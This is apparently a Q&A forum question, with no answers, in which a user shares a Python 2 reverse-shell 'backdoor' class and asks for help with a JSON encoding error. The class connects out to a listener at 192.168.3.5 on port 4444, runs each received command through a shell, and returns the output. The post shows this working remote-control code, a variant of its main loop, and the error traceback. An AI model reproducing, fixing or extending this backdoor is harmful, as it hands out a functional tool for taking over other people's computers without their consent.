0

I am successfully establishing a connection, but if I use json to transfer data, there is a problem. I need json to transfer large amounts of data

import json
import socket
import subprocess


class Reverce_Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = self.connection.recv(1024)
        return json.loads(json_data)

    def execute_system_command(self, command):
        return subprocess.check_output(command.encode('utf-8'), shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            command_result = self.execute_system_command(command.encode('utf-8'))
            self.reliable_send(command_result)
        connection.close()


my_backdoor = Reverce_Backdoor("192.168.3.5", 4444)
my_backdoor.run()

I get an error :

C:\Python27\python.exe C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py
Traceback (most recent call last):
  File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 31, in <module>
    my_backdoor.run()
  File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 26, in run
    self.reliable_send(command_result)
  File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
    json_data = json.dumps(data)
  File "C:\Python27\lib\json\__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
  File "C:\Python27\lib\json\encoder.py", line 195, in encode
    return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte

but this code works. the functionality is the same. https://github.com/Oleg9637/Python

can anyone help?

Even if I do:

    def run(self):
    while True:
        command = self.reliable_receive()
        command_result = self.execute_system_command(command)
        print (command_result)
        self.reliable_send(command_result)
    connection.close()

I get:

Traceback (most recent call last):
  File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 32, in <module>
    my_backdoor.run()
  File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 27, in run
    self.reliable_send(command_result)
  File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
    json_data = json.dumps(data)
  File "C:\Python27\lib\json\__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
  File "C:\Python27\lib\json\encoder.py", line 195, in encode
    return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
 

the connection is established, the command is transmitted correctly, but something goes wrong

Олег
  • 1
  • 2

0 Answers0